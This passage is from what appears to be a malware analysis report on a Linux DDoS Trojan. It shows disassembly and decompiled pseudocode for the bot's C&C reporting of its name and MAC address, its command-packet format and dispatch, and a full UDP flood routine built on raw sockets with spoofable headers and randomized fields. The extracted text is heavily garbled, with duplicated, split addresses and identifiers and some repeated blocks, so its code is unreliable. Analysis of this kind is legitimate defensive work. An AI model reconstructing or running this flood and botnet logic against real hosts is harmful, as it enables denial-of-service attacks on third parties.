.text:0804B63C .text:0804B 63C
push
eax
.text:0804B63D .text:0804B6 3D
lea
edx, [esp+494h+v [esp+494h+var_54] ar_54]
.text:0804B644 .text:0804B 644
push
edx
.text:0804B645 .text:0804B 645
push
ecx
.text:0804B646 .text:0804B 646
call
___GI_getsockname ___GI_getso ckname
.text:0804B6 4B .text:0804B64B +var_54.sin_addr.s_addr]
mov
eax,
.text:0804B652 .text:0804B6 52
mov
ds:selfaddr, eax
.text:0804B657 .text:0804B6 57
pop
eax
.text:0804B658 .text:0804B6 58
pop
edx
.text:0804B659 .text:0804B6 59
push
1
; size
.text:0804B65B .text:0804B6 5B
push
20h
; nmemb
.text:0804B65D .text:0804B 65D
call
_calloc
.text:0804B6 62 .text:0804B662 ; "telnet.x86 "telnet.x86" "
mov
[esp+49Ch
dword ptr [esp+0], offset a2
.text:0804B669 .text:0804B6 69
mov
ebx, eax
.text:0804B66B .text:0804B6 6B
call
strlen
.text:0804B670 .text:0804B6 70
add
esp, 0Ch
.text:0804B673 .text:0804B6 73
push
eax
; a3
18
19
.text:0804B674 .text:0804B 674
push
offset a2
; "telnet.x86"
.text:0804B679 .text:0804B6 79
push
ebx
; a1
.text:0804B67A .text:0804B 67A
call
strncpy
.text:0804B67F .text:0804B6 7F
mov
eax, ds:fd
.text:0804B684 .text:0804B6 84
push
4000h
; int
.text:0804B689 .text:0804B6 89
push
20h
; int
.text:0804B68B .text:0804B6 8B
push
ebx
; char *
.text:0804B68C .text:0804B6 8C
push
eax
; int
.text:0804B68D .text:0804B6 8D
call
___libc_send
The MAC address of a network card is also sent to the C&C server: .text:0804B756 .text:0804B7 56
push
edx
; ifconf *
.text:0804B757 .text:0804B7 57
push
SIOCGIFFLAGS
; request
.text:0804B75C .text:0804B7 5C
push
esi
; d
.text:0804B75D .text:0804B 75D
call
___GI_ioctl
.text:0804B762 .text:0804B7 62
add
esp, 10h
.text:0804B765 .text:0804B 765
test
eax, eax
.text:0804B767 .text:0804B7 67
jnz
short loc_804B735
.text:0804B769 .text:0804B 769
test
byte ptr [esp+48Ch+a [esp+48Ch+a1.ifr_ifru], 1.ifr_ifru], 8
.text:0804B771 .text:0804B7 71
jnz
short loc_804B735
.text:0804B773 .text:0804B7 73
push
eax
.text:0804B774 .text:0804B7 74
lea
eax, [esp+490h+a [esp+490h+a1] 1]
.text:0804B77B .text:0804B7 7B
push
eax
; ifconf *
.text:0804B77C .text:0804B7 7C
push
SIOCGIFHWADDR SIOCGIFHWADD R
; request
.text:0804B781 .text:0804B7 81
push
esi
; d
.text:0804B782 .text:0804B 782
call
___GI_ioctl
.text:0804B787 .text:0804B7 87
add
esp, 10h
.text:0804B78A .text:0804B 78A
test
eax, eax
.text:0804B78C .text:0804B7 8C
jnz
short loc_804B735
.text:0804B78E .text:0804B 78E
push
esi
.text:0804B78F .text:0804B7 8F
push
6
.text:0804B791 .text:0804B7 91
lea
edx, [esp+494h+a [esp+494h+a1.ifr_ifru+2] 1.ifr_ifru+2]
.text:0804B798 .text:0804B7 98
push
edx
.text:0804B799 .text:0804B7 99
lea
eax, [esp+498h+m [esp+498h+macAddr] acAddr]
.text:0804B7A0 .text:0804B7 A0
push
eax
.text:0804B7A1 .text:0804B 7A1
call
strncpy
.text:0804B7A6 .text:0804B7 A6
add
esp, 10h
.text:0804B7 A9 loc_804B7A9: .text:0804B7A9 +381j...
; char *
; a3 ; a2 ; a1
; CODE XREF: main
.text:0804B7A9 .text:0804B7 A9
push
4000h
; int
.text:0804B7AE .text:0804B7 AE
push
6
; int
.text:0804B7B0 .text:0804B7 B0
lea
edx, [esp+494h+m [esp+494h+macAddr] acAddr]
.text:0804B7B7 .text:0804B7 B7
mov
ebx, ds:fd
.text:0804B7BD .text:0804B7 BD
push
edx
; char *
19
20
.text:0804B7BE .text:0804B7 BE
push
ebx
; int
.text:0804B7BF .text:0804B7 BF
call
___libc_send
.text:0804B7C4 .text:0804B7 C4
mov
dword ptr [esp+0], 3
.text:0804B7CB .text:0804B 7CB
call
get_data_char get_data_ch ar
.text:0804B7D0 .text:0804B7 D0
mov
ecx, ds:fd
.text:0804B7D6 .text:0804B7 D6
mov
[esp+49Ch+var_15], [esp+49Ch+va r_15], al
.text:0804B7DD .text:0804B7 DD
push
4000h
; int
.text:0804B7E2 .text:0804B7 E2
push
1
; int
.text:0804B7E4 .text:0804B7 E4
xor
esi, esi
.text:0804B7E6 .text:0804B7 E6
lea
eax, [esp+4A4h+v [esp+4A4h+var_15] ar_15]
.text:0804B7ED .text:0804B7 ED
push
eax
; char *
.text:0804B7EE .text:0804B7 EE
push
ecx
; int
.text:0804B7EF .text:0804B7 EF
call
___libc_send
Data from the C&C server is saved to the buffer. If more than one command is received during an iteration, they are handled one by one. The format of the received command (for number fields, network byte order is used) is as follows: Field
Purpose
Size
fullLength
full length of the received com- 2 mand
sleepTime
time for execution (every command 4 runs a new process using fork and then kills it)
cmd
command number
1
hostCount
number of attacked hosts
1
target[hostCount]
target array
5*hostCount
param_cnt
quantity
1
param[param_cnt]
parameters
...
If fullLength == 0 , two zero bytes are sent to the C&C server: .text:0804B5 18 recv_ok: .text:0804B518 +165j
; CODE XREF: main
.text:0804B518 .text:0804B5 18
mov
ax, [edi]
.text:0804B51B .text:0804B5 1B
ror
ax, 8
.text:0804B51F .text:0804B5 1F
test
ax, ax
.text:0804B522 .text:0804B5 22
jnz
short process_comma process_command nd
.text:0804B524 .text:0804B5 24
mov
eax, ds:fd
20
21
.text:0804B529 .text:0804B5 29
push
4000h
; int
.text:0804B52E .text:0804B5 2E
push
2
; int
.text:0804B530 .text:0804B5 30
push
edi
; char *
.text:0804B531 .text:0804B5 31
push
eax
; int
.text:0804B532 .text:0804B5 32
call
___libc_send
.text:0804B537 .text:0804B5 37
add
esp, 0Ch
.text:0804B53A .text:0804B5 3A
sub
esi, 2
.text:0804B53D .text:0804B5 3D
push
0FFFFFFFFh
.text:0804B53F .text:0804B 53F
push
2
.text:0804B5 41 .text:0804B541 byte]
mov
ebp, [esp+498h+p [esp+498h+ptr_to_third_c tr_to_third_comm_omm_-
.text:0804B545 .text:0804B 545
push
ebp
.text:0804B546 .text:0804B 546
call
shiftBuffer
.text:0804B54B .text:0804B5 4B
add
esp, 10h
.text:0804B54E .text:0804B5 4E
jmp
entry_point_of_payload_ex entry_point_ of_payload_execution ecution
If the length is zero, the processor of the received command is launched: text:0804B4D0 process_com text:0804B4D0 process_command: mand: +1C2j
; CODE XREF: main
.text:0804B4D0 .text:0804B4 D0
cmp
ax, 1
.text:0804B4D4 .text:0804B4 D4
jz
short loc_804B4DC
.text:0804B4D6 .text:0804B4 D6
cmp
ax, 1000h
.text:0804B4 DA .text:0804B4DA cution
ja
short entry_point_o entry_point_of_payload_ex f_payload_exee-
.text:0804B4DC .text:0804B4 DC loc_804B4DC .text:0804B4DC loc_804B4DC: : +174j
; CODE XREF: main
.text:0804B4DC .text:0804B4 DC
cmp
ax, si
.text:0804B4 DF .text:0804B4DF cution
ja
short entry_point_o entry_point_of_payload_ex f_payload_exee-
.text:0804B4E1 .text:0804B4 E1
sub
si, ax
.text:0804B4E4 .text:0804B4 E4
mov
ebx, eax
.text:0804B4E6 .text:0804B 4E6
and
ebx, 0FFFFh
.text:0804B4EC .text:0804B 4EC
push
edx
.text:0804B4ED .text:0804B 4ED
push
edx
.text:0804B4EE .text:0804B4 EE
lea
eax, [ebx-2]
.text:0804B4F1 .text:0804B4 F1
push
eax
.text:0804B4 F2 .text:0804B4F2 byte]
mov
eax, [esp+498h+p [esp+498h+ptr_to_third_c tr_to_third_comm_omm_-
; a2
21
22
.text:0804B4F6 .text:0804B4 F6
push
eax
; a1
.text:0804B4F7 .text:0804B 4F7
call
process
.text:0804B4FC .text:0804B4 FC
add
esp, 0Ch
.text:0804B4FF .text:0804B4 FF
push
0FFFFFFFFh
.text:0804B501 .text:0804B 501
push
ebx
.text:0804B502 .text:0804B5 02
lea
ebx, [edi+ebx]
.text:0804B505 .text:0804B 505
push
ebx
.text:0804B506 .text:0804B 506
call
shiftBuffer
.text:0804B50B .text:0804B5 0B
add
esp, 10h
.text:0804B50E .text:0804B5 0E
cmp
si, 1
.text:0804B512 .text:0804B5 12
jbe
entry_point_of_payload_ex entry_point_ of_payload_execution ecution
process The function receives a pointer to the third byte of the command and its length. Then it starts parsing the command’s arguments and filling the respective structures: // structures representing data received from the server struct target{ uint32_t ip; //target IP uint8_t maskbits; // if the specified number is less than 31, the Trojan will attack random hosts obtained from IP by randomly generating lowest bits maskbits }
struct param{ uint8_t id; uint8_t len; uint8_t data[len]; } //structures that are displayed in the Trojan struct target_parsed { uint32
target_ip;
uint8
maskbits;
sockaddr_in sockaddr; }
struct param_parsed { uint8
id;
22
23
char *
data;
}
Code to initiate an analysis of the packet header: .text:0804BA 60 head_packet .text:0804BA60 head_packet_parse: _parse: cess+12j
; CODE XREF: pro-
.text:0804BA 60 .text:0804BA60 ebx = size
mov
edi, [esi+pkct_c [esi+pkct_cmd.sleepTime] md.sleepTime] ;
.text:0804BA62 .text:0804BA 62
ror
di, 8
.text:0804BA66 .text:0804BA 66
ror
edi, 10h
.text:0804BA69 .text:0804BA 69
ror
di, 8
.text:0804BA6D .text:0804BA 6D
cmp
ebx, 4
.text:0804BA70 .text:0804BA 70
jz
short ret_form_func
.text:0804BA72 .text:0804BA 72
mov
al, [esi+pkct_cm [esi+pkct_cmd.cmd] d.cmd]
.text:0804BA75 .text:0804BA 75
cmp
ebx, 5
.text:0804BA78 .text:0804BA 78
mov
[esp+4Ch+var_39], [esp+4Ch+var _39], al
.text:0804BA7C .text:0804BA 7C
jz
short ret_form_func
.text:0804BA7E .text:0804BA 7E
mov
al, [esi+pkct_cm [esi+pkct_cmd.host_count] d.host_count]
.text:0804BA81 .text:0804BA 81
test
al, al
.text:0804BA83 .text:0804BA 83
jz
short ret_form_func
.text:0804BA85 .text:0804B A85
and
eax, 0FFh
.text:0804BA8A .text:0804BA 8A
lea
edx, [ebx-6]
.text:0804BA8D .text:0804BA 8D
mov
[esp+4Ch+unprocessed_byte [esp+4Ch+unp rocessed_bytes], s], edx
.text:0804BA91 .text:0804BA 91
mov
[esp+4Ch+target_count], [esp+4Ch+tar get_count], eax
.text:0804BA95 .text:0804BA 95
lea
ebp, [eax+eax*4]
.text:0804BA98 .text:0804BA 98
cmp
edx, ebp
.text:0804BA9A .text:0804BA 9A
jb
short ret_form_func
.text:0804BA9C .text:0804BA 9C
lea
eax, [esi+pkct_c [esi+pkct_cmd.target] md.target]
.text:0804BA9F .text:0804BA 9F
mov
[esp+4Ch+var_18], [esp+4Ch+var _18], eax
.text:0804BAA3 .text:0804B AA3
push
eax
.text:0804BAA4 .text:0804B AA4
push
eax
.text:0804BAA5 .text:0804BA A5
push
18h
.text:0804BAA7 .text:0804BA A7
mov
ecx, [esp+58h+ta [esp+58h+target_count] rget_count]
.text:0804BAAB .text:0804BA AB
push
ecx
.text:0804BAAC .text:0804B AAC
call
_calloc
.text:0804BAB1 .text:0804BA B1
mov
[esp+5Ch+targets], [esp+5Ch+tar gets], eax
.text:0804BAB5 .text:0804BA B5
add
esp, 10h
; size
; nmemb
23
24
.text:0804BAB8 .text:0804BA B8
mov
edx, [esp+4Ch+ta [esp+4Ch+target_count] rget_count]
.text:0804BABC .text:0804B ABC
test
edx, edx
.text:0804BABE .text:0804BA BE
jle
short end_target_pa end_target_parsing rsing
Parsing code for received targets: .text:0804BA C7 parse_next_ .text:0804BAC7 parse_next_target: target: cess+A3j
; CODE XREF: pro-
.text:0804BAC7 .text:0804BA C7
mov
edx, [ecx+pkct_c [ecx+pkct_cmd.target.ip_ md.target.ip_addr] addr]
.text:0804BACA .text:0804BA CA
mov
[esi+target_parsed.target [esi+target_ parsed.target_ip], _ip], edx
.text:0804BACC .text:0804BA CC
mov
al, [ecx+pkct_cm [ecx+pkct_cmd.target.mask d.target.masksize] size]
.text:0804BACF .text:0804BA CF
add
ecx, 5
.text:0804BAD2 .text:0804BA D2
mov
[esi+target_parsed.masksi [esi+target_ parsed.masksize], ze], al
.text:0804BA D5 .text:0804BAD5 family], 2
mov
[esi+target_parsed.sockad [esi+target_ parsed.sockaddr.sin_dr.sin_-
.text:0804BA DB .text:0804BADB addr.sin_addr.s_addr], addr.sin_ad dr.s_addr], edx
mov
[esi+target_parsed.sock[esi+target_ parsed.sock-
.text:0804BADE .text:0804BA DE
add
esi, 18h
.text:0804BAE1 .text:0804BA E1
cmp
ecx, ebp
.text:0804BAE3 .text:0804BA E3
jnz
short parse_next_ta parse_next_target rget
.text:0804BAE5 .text:0804BA E5
mov
edx, [esp+4Ch+ta [esp+4Ch+target_count] rget_count]
.text:0804BAE9 .text:0804BA E9
add
ecx, 6
.text:0804BAEC .text:0804BA EC
mov
[esp+4Ch+var_18], [esp+4Ch+var _18], ecx
.text:0804BAF0 .text:0804BA F0
lea
eax, [edx+edx*4]
.text:0804BAF3 .text:0804BA F3
sub
ebx, eax
.text:0804BAF5 .text:0804BA F5
sub
ebx, 6
.text:0804BAF8 .text:0804BA F8
mov
[esp+4Ch+unprocessed_byte [esp+4Ch+unp rocessed_bytes], s], ebx
Then the Trojan determines whether the transmitted parameters need to be parsed. If they do, the run_command function is called after the parsing is complete: .text:0804BA FC end_target_ .text:0804BAFC end_target_parsing: parsing: cess+7Ej
; CODE XREF: pro-
.text:0804BAFC .text:0804BA FC
mov
eax, [esp+4Ch+un [esp+4Ch+unprocessed_byt processed_bytes] es]
.text:0804BB00 .text:0804BB 00
mov
[esp+4Ch+params_buffer], [esp+4Ch+par ams_buffer], 0
.text:0804BB08 .text:0804B B08
test
eax, eax
.text:0804BB 0A .text:0804BB0A m_cnt field = error
jz
short finish_proces finish_processing sing ; no para-
.text:0804BB0C .text:0804BB 0C
mov
ebx, [esp+4Ch+va [esp+4Ch+var_18] r_18]
.text:0804BB10 .text:0804BB 10
mov
bl, [ebx]
.text:0804BB12 .text:0804BB 12
mov
[esp+4Ch+param_cnt], [esp+4Ch+par am_cnt], bl
24
25
.text:0804BB16 .text:0804BB 16
test
bl, bl
.text:0804BB18 .text:0804BB 18
jnz
start_parse_params start_parse_ params
.text:0804BB1E .text:0804BB 1E
mov
[esp+4Ch+var_20], [esp+4Ch+var _20], 0
.text:0804BB 26 start_comma .text:0804BB26 start_command_execution: nd_execution: cess+198j
; CODE XREF: pro-
.text:0804BB26 .text:0804BB 26
; process+27A process+27Aj j
.text:0804BB26 .text:0804B B26
push
ebp
.text:0804BB27 .text:0804B B27
push
ebp
.text:0804BB28 .text:0804BB 28
mov
esi, [esp+54h+pa [esp+54h+params_buffer] rams_buffer]
.text:0804BB2C .text:0804BB 2C
xor
eax, eax
.text:0804BB2E .text:0804B B2E
push
esi
.text:0804BB2F .text:0804BB 2F
mov
ebx, [esp+58h+pa [esp+58h+param_count] ram_count]
.text:0804BB33 .text:0804B B33
push
ebx
.text:0804BB34 .text:0804BB 34
mov
ecx, [esp+5Ch+ta [esp+5Ch+targets] rgets]
.text:0804BB38 .text:0804B B38
push
ecx
.text:0804BB39 .text:0804BB 39
mov
edx, [esp+60h+ta [esp+60h+targets_count] rgets_count]
.text:0804BB3D .text:0804B B3D
push
edx
.text:0804BB3E .text:0804BB 3E
mov
al, [esp+64h+par [esp+64h+params] ams]
.text:0804BB42 .text:0804B B42
push
eax
.text:0804BB43 .text:0804B B43
push
edi
.text:0804BB44 .text:0804B B44
call
run_command
run_command The function receives a time value, a command number, a quantity and array of targets, and a quantity and array of parameters. First, the handler needed is searched for: .text:0804B937 .text:0804B9 37
mov
bl, ds:handlers. ds:handlers.length length
.text:0804B93D .text:0804B9 3D
mov
al, [esp+2Ch+num [esp+2Ch+number] ber]
.text:0804B941 .text:0804B9 41
test
bl, bl
.text:0804B943 .text:0804B9 43
mov
[esp+2Ch+local_saved_numb [esp+2Ch+loc al_saved_number], er], al
.text:0804B947 .text:0804B9 47
movzx
ebp, [esp+2Ch+ta [esp+2Ch+target_count] rget_count]
.text:0804B94C .text:0804B9 4C
movzx
edi, [esp+2Ch+pa [esp+2Ch+params_count] rams_count]
.text:0804B951 .text:0804B 951
jz
short return
.text:0804B953 .text:0804B9 53
mov
ecx, ds:handlers ds:handlers.handlers .handlers
.text:0804B959 .text:0804B9 59
xor
esi, esi
.text:0804B95B .text:0804B9 5B
cmp
al, [ecx+cmd.num [ecx+cmd.number] ber]
.text:0804B95D .text:0804B9 5D
jz
short handler_found
; empty handlers
25
26
.text:0804B95F .text:0804B9 5F
xor
edx, edx
.text:0804B961 .text:0804B9 61
jmp
short loc_804B977
.text:0804B963 ; .text:0804B963 -------------------------------------------------------------------------.text:0804B963 .text:0804B9 63 next_entry: .text:0804B963 command+4Aj
; CODE XREF: run_-
.text:0804B963 .text:0804B9 63
xor
eax, eax
.text:0804B965 .text:0804B9 65
mov
al, dl
.text:0804B967 .text:0804B9 67
lea
esi, ds:0[eax*8]
.text:0804B96E .text:0804B9 6E
mov
al, [esp+2Ch+loc [esp+2Ch+local_saved_numb al_saved_number] er]
.text:0804B972 .text:0804B 972
cmp
[esi+ecx], al
.text:0804B975 .text:0804B9 75
jz
short handler_found
.text:0804B977 .text:0804B9 77 loc_804B977 .text:0804B977 loc_804B977: : command+31j
; CODE XREF: run_-
.text:0804B977 .text:0804B9 77
inc
edx
.text:0804B978 .text:0804B9 78
cmp
dl, bl
.text:0804B97A .text:0804B9 7A
jnz
short next_entry
Then child processes are run: handler_found: pid_children pid_childre n = fork(); //parent if ( pid_children <= 0 ) { if ( !pid_childre !pid_children n ){ pid_2 = fork(); if ( pid_2 > 0 ) exit(0); //child dies, so parent returns to command execution if ( !pid_2){ v6 = fork(); if ( !v6 ){
setsid();
init_random();
handlers.handlers[v7].fun handlers.han dlers[v7].func(target_cou c(target_count, nt, targets, params_count, params); // run command
exit(0); } if ( v6 > 0 ){
26
27
setsid();
sleep(time); kill(v6, 9); //kills his child after $time seconds
exit(0); } } }
}else{//parent }else{//par ent waiting for children death LOBYTE(v6) = __libc_wait __libc_waitpid(pid_child pid(pid_children, ren, &status, 0); }
Command handlers .text:080481 90 cmd15 .text:08048190 d15j
proc near
.text:080481 90 .text:08048190 fillCmdHandlers+27Ao
; CODE XREF: cm; DATA XREF:
.text:08048190 .text:080481 90
jmp
.text:08048190 .text:08048 190 cmd15
endp
short cmd15
.text:08048190 .text:08048190 ; .text:08048190 -------------------------------------------------------------------------.text:08048192 .text:080481 92
align 10h
.text:080481A0 .text:080481A0 ; =============== S U B R O U T I N E ======================================= .text:080481A0 .text:080481A0 .text:08048 1A0 ; Attributes: noreturn .text:080481A0 .text:080481 A0 cmd16 .text:080481A0 d16j
proc near
.text:080481 A0 .text:080481A0 fillCmdHandlers+2B4o
; CODE XREF: cm; DATA XREF:
.text:080481A0 .text:080481 A0
jmp
.text:080481A0 .text:08048 1A0 cmd16
endp
short cmd16
.text:080481A0 .text:080481A0 ; .text:080481A0 -------------------------------------------------------------------------.text:080481A2 .text:080481 A2
align 10h
27
28
.text:080481B0 .text:080481B0 ; =============== S U B R O U T I N E ======================================= .text:080481B0 .text:080481B0 .text:08048 1B0 ; Attributes: noreturn .text:080481B0 .text:080481 B0 cmd17 .text:080481B0 d17j
proc near
.text:080481 B0 .text:080481B0 fillCmdHandlers+2EBo
; CODE XREF: cm; DATA XREF:
.text:080481B0 .text:080481 B0
jmp
.text:080481B0 .text:08048 1B0 cmd17
endp
short cmd17
.text:080481B0
Other handlers act as follows: void handle(target *t, param *p){ the Trojan receives packet parameters a packet is created for every target yet 1 { for every target if (maskbits <= 31), a new target IP is selected packet is being sent } }
cmd0 – UDP Flood First, the parameters received are parsed: v23 = calloc(targ calloc(target_count, et_count, 4u); TOS = getNumberOrDefault(params_count, params, 2, 0); ident = getNumberOrDefault(params_count, params, 3, 0xFFFF); TTL = getNumberOr getNumberOrDefault(para Default(params_count, ms_count, params, 4, 64); fragmentation = getNumberOrDefault(params_count, params, 5, 0); sport = getNumberOrDefault(params_count, params, 6, 0xFFFF); dport = getNumberOrDefault(params_count, params, 7, 0xFFFF); packetSize = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 0, 512); needFillRandom needFillRan dom = getNumberOrD getNumberOrDefault(para efault(params_count, ms_count, params, 1, 1);
28
29
The getNumberOrDefault function has the following structure: int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param, char id, int default)
It returns the value from the parameter array with the specified id or the value default if the id is not found. Values for the id field: Id
Value
0
It is changed depending on the handler and implies either the length of the whole packet or the length of the data.
1
For some types of attacks, it determines whether random data needs to be generated in the packet.
2
ip_header.TOS
3
ip_header.identification
4
ip_header.TTL
5
ip_header.flags << 13 | ip_header.fragment
6
Source port
7
Dest port
8
Host in the DNS request
9
DNS request parameters
11
TCP.urgent_flag
12
TCP.ack_flag
13
TCP.psh_flag
14
TCP.rst_flag
15
TCP.syn_flag
16
TCP.fin_flag
17
TCP.Sequence_number
19
Specifies whether ip.dstAddr in the GRE packet is the same as in the external packet.
20
Requested page
22
The host header value
29
30
Then the Trojan creates a “raw” socket and enters the IP header: .text:0804AB7F .text:0804A B7F
push
IPPROTO_UDP
.text:0804AB81 .text:0804AB 81
push
SOCK_RAW
.text:0804AB83 .text:0804A B83
push
AF_INET
.text:0804AB85 .text:0804AB 85
call
___GI_socket
.text:0804AB8A .text:0804AB 8A
mov
[esp+6Ch+fd], [esp+6Ch+fd] , eax
.text:0804AB8E .text:0804AB 8E
add
esp, 10h
.text:0804AB91 .text:0804AB 91
inc
eax
.text:0804AB92 .text:0804A B92
jz
loc_804AE5E
.text:0804AB98 .text:0804AB 98
mov
[esp+5Ch+var_14], [esp+5Ch+var _14], 1
.text:0804ABA0 .text:0804AB A0
sub
esp, 0Ch
.text:0804ABA3 .text:0804A BA3
push
4
.text:0804ABA5 .text:0804AB A5
lea
eax, [esp+6Ch+va [esp+6Ch+var_14] r_14]
.text:0804ABA9 .text:0804A BA9
push
eax
.text:0804ABAA .text:0804AB AA
push
IP_HDRINCL
.text:0804ABAC .text:0804AB AC
push
SOL_IP
.text:0804ABAE .text:0804A BAE
mov
ebx, [esp+78h+fd]
.text:0804ABB2 .text:0804A BB2
push
ebx
.text:0804ABB3 .text:0804AB B3
call
___GI_setsockopt ___GI_setsoc kopt
After that, it is generated using the header of a IP/UDP datagram for each objective received: do { target_packe t_headers[v4] target_packet_headers[v4 ] = calloc(0x5E calloc(0x5E6u, 6u, 1u); header = target_packet_headers[counter];
current_ipudp_current_ipud p_-
current_ipudp_header->h current_ipu dp_header->header.ip.Ve eader.ip.Version rsion = 69; current_ipudp_header->h current_ipu dp_header->header.ip.TO eader.ip.TOS S = TOS; v6 = htons(packe htons(packetSize tSize + 28, 8); current_ipudp_header->h current_ipu dp_header->header.ip.to eader.ip.totalLength talLength = v6; current_ipudp_header->h current_ipu dp_header->header.ip.TT eader.ip.TTL L = TTL; v7 = htons(ident htons(ident, , 8); current_ipudp_header->h current_ipu dp_header->header.ip.id eader.ip.ident ent = v7; if ( fragmentatio fragmentation n ) current_ipudp_header->h current_ipu dp_header->header.ip.fr eader.ip.frag_offs ag_offs = 64; current_ipudp_header->he current_ipud p_header->header.ip.proto ader.ip.protocol col = IPPROTO_UDP; current_ipudp_header->he current_ipud p_header->header.ip.src_a ader.ip.src_addr ddr = selfaddr; current_ipudp_header->he current_ipud p_header->header.ip.dst_a ader.ip.dst_addr ddr = targets[count targets[counter].tarer].target_ip;
30
31
v9 = __ROR2__(spo __ROR2__(sport, rt, 8); current_ipudp_header->he current_ipud p_header->header.udp.spor ader.udp.sport t = v9; v10 = __ROR2__(dpo __ROR2__(dport, rt, 8); current_ipudp_header->he current_ipud p_header->header.udp.dpor ader.udp.dport t = v10; v11 = __ROR2__(pac __ROR2__(packetSize ketSize + 8, 8); current_ipudp_header->h current_ipu dp_header->header.udp.l eader.udp.length ength = v11;
counter++;
}while ( target_count > counter );
Then packets are sent to specified targets. If maskbits <= 31, a random target is generated. If the parameter values ident, dport, and sport equal 0xffff, these parameters are generated randomly for every packet. If a certain parameter is set, a packet’s body will be generated: text:0804ADF3 rand_indent text:0804ADF3 rand_indent: : d0_udp_random+233j
; CODE XREF: cm-
.text:0804ADF3 .text:0804A DF3
call
rand_cmwc
.text:0804ADF8 .text:0804AD F8
cmp
[esp+5Ch+sourcePort], [esp+5Ch+sou rcePort], 0FFFFh
.text:0804ADFE .text:0804AD FE
mov
[esi+ipudp_0.header._ip.i [esi+ipudp_0 .header._ip.ident], dent], ax
.text:0804AE02 .text:0804AE 02
jnz
sport_is_const sport_is_con st
.text:0804AE 08 rand_sport: .text:0804AE08 d0_udp_random+23Fj
; CODE XREF: cm-
.text:0804AE08 .text:0804A E08
call
rand_cmwc
.text:0804AE0D .text:0804AE 0D
cmp
[esp+5Ch+destPort], [esp+5Ch+des tPort], 0FFFFh
.text:0804AE13 .text:0804AE 13
mov
[esi+ipudp_0.header.udp.s [esi+ipudp_0 .header.udp.sport], port], ax
.text:0804AE17 .text:0804AE 17
jnz
dport_is_const dport_is_con st
.text:0804AE 1D rand_dport: .text:0804AE1D d0_udp_random+24Bj
; CODE XREF: cm-
.text:0804AE1D .text:0804A E1D
call
rand_cmwc
.text:0804AE22 .text:0804AE 22
cmp
[esp+5Ch+needFillRandom], [esp+5Ch+nee dFillRandom], 0
.text:0804AE27 .text:0804AE 27
mov
[edi+udp_packet.dport], [edi+udp_pac ket.dport], ax
.text:0804AE2B .text:0804A E2B
jz
send_packet
.text:0804AE 31 loc_804AE31 .text:0804AE31 loc_804AE31: : d0_udp_random+256j
; CODE XREF: cm-
.text:0804AE31 .text:0804A E31
push
eax
.text:0804AE32 .text:0804A E32
push
eax
.text:0804AE33 .text:0804AE33 +size_of_packet]
mov
eax, dword ptr [esp+64h
.text:0804AE37 .text:0804A E37
and
eax, 0FFFFh
.text:0804AE3C .text:0804AE 3C
push
eax
.text:0804AE 31 loc_804AE31 .text:0804AE31 loc_804AE31: : d0_udp_random+256j
; a2 ; CODE XREF: cm-
31
32
.text:0804AE31 .text:0804A E31
push
eax
.text:0804AE32 .text:0804A E32
push
eax
.text:0804AE33 .text:0804AE33 +size_of_packet]
mov
eax, dword ptr [esp+64h
.text:0804AE37 .text:0804A E37
and
eax, 0FFFFh
.text:0804AE3C .text:0804AE 3C
push
eax
.text:0804AE3D .text:0804AE 3D
lea
eax, [esi+ipudp_ [esi+ipudp_0.data] 0.data]
.text:0804AE40 .text:0804AE 40
push
eax
.text:0804AE41 .text:0804A E41
call
fillBufRandom fillBufRand om
.text:0804AE46 .text:0804AE 46
add
esp, 10h
.text:0804AE49 .text:0804AE 49
jmp
send_packet
; a2
; a1
Then the Trojan counts checksums and shifts its attention to the next target. This procedure continues until the process is terminated: .text:0804AD 1C send_packet .text:0804AD1C send_packet: : d0_udp_random+36Bj
; CODE XREF: cm-
.text:0804AD 1C .text:0804AD1C +389j
; cmd0_udp_ra cmd0_udp_random ndom
.text:0804AD1C .text:0804A D1C
mov
word ptr [esi+0Ah], 0
.text:0804AD22 .text:0804A D22
push
eax
.text:0804AD23 .text:0804A D23
push
eax
.text:0804AD24 .text:0804A D24
push
14h
.text:0804AD26 .text:0804A D26
push
esi
.text:0804AD27 .text:0804AD 27
call
calcIPCheckSum calcIPCheckS um
.text:0804AD2C .text:0804A D2C
mov
[esi+0Ah], ax
.text:0804AD30 .text:0804A D30
mov
word ptr [edi+6], 0
.text:0804AD36 .text:0804AD 36
push
ebx
.text:0804AD37 .text:0804AD 37
mov
ax, [edi+4]
.text:0804AD3B .text:0804A D3B
and
eax, 0FFFFh
.text:0804AD40 .text:0804AD 40
push
eax
; a3
.text:0804AD41 .text:0804AD 41
push
edi
; a2
.text:0804AD42 .text:0804AD 42
push
esi
; a1
.text:0804AD43 .text:0804A D43
call
calcUDPChecksum calcUDPChec ksum
.text:0804AD48 .text:0804A D48
mov
[edi+6], ax
.text:0804AD4C .text:0804AD 4C
mov
eax, [esp+7Ch+co [esp+7Ch+counter] unter]
.text:0804AD50 .text:0804AD 50
mov
ecx, [esp+7Ch+ta [esp+7Ch+targets] rgets]
.text:0804AD57 .text:0804AD 57
mov
dx, [edi+2]
.text:0804AD5B .text:0804AD 5B
lea
eax, [eax+eax*2]
; a4
32
33
.text:0804AD5E .text:0804AD 5E
add
esp, 18h
.text:0804AD61 .text:0804AD 61
shl
eax, 3
.text:0804AD64 .text:0804A D64
mov
[eax+ecx+0Ah], [eax+ecx+0A h], dx
.text:0804AD69 .text:0804AD 69
lea
eax, [ecx+eax+8]
.text:0804AD6D .text:0804A D6D
push
10h
.text:0804AD6F .text:0804A D6F
push
eax
.text:0804AD70 .text:0804A D70
push
4000h
.text:0804AD75 .text:0804A D75
push
ebp
.text:0804AD76 .text:0804A D76
push
esi
.text:0804AD77 .text:0804A D77
mov
esi, [esp+78h+fd]
.text:0804AD7B .text:0804A D7B
push
esi
.text:0804AD7C .text:0804AD 7C
call
___libc_sendto ___libc_send to
.text:0804AD81 .text:0804AD 81
mov
eax, [esp+7Ch+co [esp+7Ch+counter] unter]
.text:0804AD85 .text:0804AD 85
inc
eax
.text:0804AD86 .text:0804AD 86
mov
[esp+7Ch+counter], [esp+7Ch+cou nter], eax
.text:0804AD8A .text:0804AD 8A
add
esp, 20h
.text:0804AD8D .text:0804AD 8D
cmp
eax, [esp+5Ch+ta [esp+5Ch+target_count_2] rget_count_2]
.text:0804AD91 .text:0804AD 91
jl
send_to_next_target send_to_next _target
.text:0804AD97 .text:0804AD 97
mov
ecx, [esp+5Ch+ta [esp+5Ch+target_count_2] rget_count_2]
.text:0804AD9B .text:0804A D9B
test
ecx, ecx
.text:0804AD9D .text:0804AD 9D
jmp
and_again
